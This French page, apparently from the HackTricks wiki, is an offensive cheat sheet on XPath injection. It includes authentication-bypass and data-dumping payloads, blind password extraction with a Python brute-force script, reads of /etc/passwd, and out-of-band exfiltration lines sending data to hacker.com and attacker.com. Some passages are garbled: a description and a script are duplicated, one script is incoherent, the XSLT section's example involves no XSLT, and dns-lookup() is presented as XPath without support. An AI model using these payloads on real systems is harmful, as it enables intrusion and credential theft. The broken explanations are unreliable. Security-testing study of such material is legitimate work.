23 KiB
Injection XPath
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Suivez HackenProof pour en savoir plus sur les bugs web3
🐞 Lisez les tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
Syntaxe de base
L'injection XPath est une technique d'attaque utilisée pour exploiter les applications qui construisent des requêtes XPath (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.
Informations sur la façon de faire des requêtes : https://www.w3schools.com/xml/xpath_syntax.asp
Noeuds
Expression | Description |
---|---|
nodename | Sélectionne tous les noeuds portant le nom "nodename" |
/ | Sélectionne à partir du noeud racine |
// | Sélectionne les noeuds dans le document à partir du noeud courant qui correspondent à la sélection, peu importe où ils se trouvent |
. | Sélectionne le noeud courant |
.. | Sélectionne le parent du noeud courant |
@ | Sélectionne les attributs |
Exemples :
Expression de chemin | Résultat |
---|---|
bookstore | Sélectionne tous les noeuds portant le nom "bookstore" |
/bookstore | Sélectionne l'élément racine bookstoreNote: Si le chemin commence par un slash ( / ), il représente toujours un chemin absolu vers un élément ! |
bookstore/book | Sélectionne tous les éléments book qui sont des enfants de bookstore |
//book | Sélectionne tous les éléments book, peu importe où ils se trouvent dans le document |
bookstore//book | Sélectionne tous les éléments book qui sont des descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore |
//@lang | Sélectionne tous les attributs qui portent le nom lang |
Prédicats
Expression de chemin | Résultat |
---|---|
/bookstore/book[1] | Sélectionne le premier élément book qui est un enfant de l'élément bookstore.Note : Dans IE 5,6,7,8,9, le premier noeud est [0], mais selon W3C, il est [1]. Pour résoudre ce problème dans IE, définissez SelectionLanguage sur XPath : En JavaScript : xml.setProperty("SelectionLanguage","XPath"); |
/bookstore/book[last()] | Sélectionne le dernier élément book qui est un enfant de l'élément bookstore |
/bookstore/book[last()-1] | Sélectionne l'avant-dernier élément book qui est un enfant de l'élément bookstore |
/bookstore/book[position()<3] | Sélectionne les deux premiers éléments book qui sont des enfants de l'élément bookstore |
//title[@lang] | Sélectionne tous les éléments title qui ont un attribut nommé lang |
//title[@lang='en'] | Sélectionne tous les éléments title qui ont un attribut "lang" avec une valeur de "en" |
/bookstore/book[price>35.00] | Sélectionne tous les éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
/bookstore/book[price>35.00]/title | Sélectionne tous les éléments title des éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
Noeuds inconnus
Jocker | Description |
---|---|
* | Correspond à n'importe quel noeud élément |
@* | Correspond à n'importe quel noeud attribut |
node() | Correspond à n'importe quel noeud de n'importe quel type |
Exemples :
Expression de chemin | Résultat |
---|---|
/bookstore/* | Sélectionne tous les noeuds enfants de l'élément bookstore |
//* | Sélectionne tous les éléments dans le document |
//title[@*] | Sélectionne tous les éléments title qui ont au moins un attribut de n'importe quel type |
Suivez HackenProof pour en savoir plus sur les bugs web3
🐞 Lisez les tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
Exemple
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Accéder à l'information
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identifier et voler le schéma
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Contournement d'authentification
Exemple de requêtes :
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Contournement OR dans l'utilisateur et le mot de passe (même valeur dans les deux)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abus de l'injection null
Description
Null injection is a technique used to bypass filters that sanitize user input by replacing the input with a null byte (\0
). This can be used to terminate strings early or to bypass certain filters that check for specific characters.
Description
L'injection null est une technique utilisée pour contourner les filtres qui nettoient les entrées utilisateur en remplaçant l'entrée par un octet nul (\0
). Cela peut être utilisé pour terminer les chaînes de caractères prématurément ou pour contourner certains filtres qui vérifient des caractères spécifiques.
Username: ' or 1]%00
Double OR dans le nom d'utilisateur ou dans le mot de passe (est valide avec seulement 1 champ vulnérable)
IMPORTANT: Notez que la "et" est la première opération effectuée.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Extraction de chaînes de caractères
La sortie contient des chaînes de caractères et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Exploitation à l'aveugle
Obtenir la longueur d'une valeur et l'extraire par comparaisons :
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Exemple Python
import requests
import sys
import urllib.parse as urlparse
url = "http://example.com/search.php"
query = "q"
def get_results(query):
payload = "' or 1=1 or ''='"
params = {query: payload}
r = requests.get(url, params=params)
return r.text
def get_query_param(url):
parsed = urlparse.urlparse(url)
return urlparse.parse_qs(parsed.query)[query][0]
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
query_param = get_query_param(url)
results = get_results(query_param)
print(results)
import requests
import sys
import urllib.parse as urlparse
url = "http://example.com/search.php"
query = "q"
def get_results(query):
payload = "' or 1=1 or ''='"
params = {query: payload}
r = requests.get(url, params=params)
return r.text
def get_query_param(url):
parsed = urlparse.urlparse(url)
return urlparse.parse_qs(parsed.query)[query][0]
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Utilisation: {sys.argv[0]} <url>")
sys.exit(1)
url = sys.argv[1]
query_param = get_query_param(url)
results = get_results(query_param)
print(results)
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Lire un fichier
Le XPath Injection peut être utilisé pour lire des fichiers sur le serveur. Pour ce faire, vous pouvez utiliser la fonction document()
de XPath pour accéder à des fichiers locaux. Par exemple, pour lire le fichier /etc/passwd
, vous pouvez utiliser la requête XPath suivante :
' or 1=1 or name()='username' and substring(document('/etc/passwd'),1,1)='r
Cela fonctionne car la fonction document()
est utilisée pour accéder au fichier /etc/passwd
et la fonction substring()
est utilisée pour extraire la première lettre du fichier. Si la requête renvoie une erreur, vous pouvez essayer de lire d'autres fichiers en modifiant le chemin d'accès dans la requête XPath.
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Exploitation OOB
Exploitation OOB avec XSLT
L'exploitation OOB (Out-of-Band) est une technique qui permet à l'attaquant de communiquer avec un serveur distant en utilisant des canaux autres que le canal HTTP. Cette technique est souvent utilisée pour extraire des données sensibles d'un serveur vulnérable.
L'exploitation OOB peut être réalisée avec une injection XPath en utilisant une transformation XSLT. Cette technique consiste à envoyer une requête malveillante qui contient une transformation XSLT qui sera exécutée par le serveur. La transformation XSLT peut être utilisée pour extraire des données sensibles du serveur et les envoyer à l'attaquant via un canal OOB.
Voici un exemple de requête malveillante qui utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données :
POST /workspace/index.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
username=admin' or 1=1]/parent::*/parent::*/*/*/text()|//password[position()=1]/text()|'&password=test&submit=Login
Dans cet exemple, la requête malveillante utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données. La transformation XSLT est exécutée par le serveur et les données sensibles sont envoyées à l'attaquant via un canal OOB.
Exploitation OOB avec DNS
Une autre technique courante d'exploitation OOB consiste à utiliser le protocole DNS pour communiquer avec un serveur distant. Cette technique est souvent utilisée pour extraire des données sensibles d'un serveur vulnérable.
L'exploitation OOB avec DNS peut être réalisée avec une injection XPath en utilisant une requête malveillante qui contient une fonction DNS. Cette fonction est utilisée pour envoyer des données sensibles à un serveur contrôlé par l'attaquant via le protocole DNS.
Voici un exemple de requête malveillante qui utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données en utilisant le protocole DNS :
POST /workspace/index.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
username=admin' or 1=1]/parent::*/parent::*/*/*/text()|dns-lookup('attacker.com')|'&password=test&submit=Login
Dans cet exemple, la requête malveillante utilise une injection XPath pour extraire le nom d'utilisateur et le mot de passe de la base de données en utilisant le protocole DNS. Les données sensibles sont envoyées à un serveur contrôlé par l'attaquant via le protocole DNS.
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Outil automatique
{% embed url="https://xcat.readthedocs.io/" %}
Références
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
Suivez HackenProof pour en savoir plus sur les bugs web3
🐞 Lisez des tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.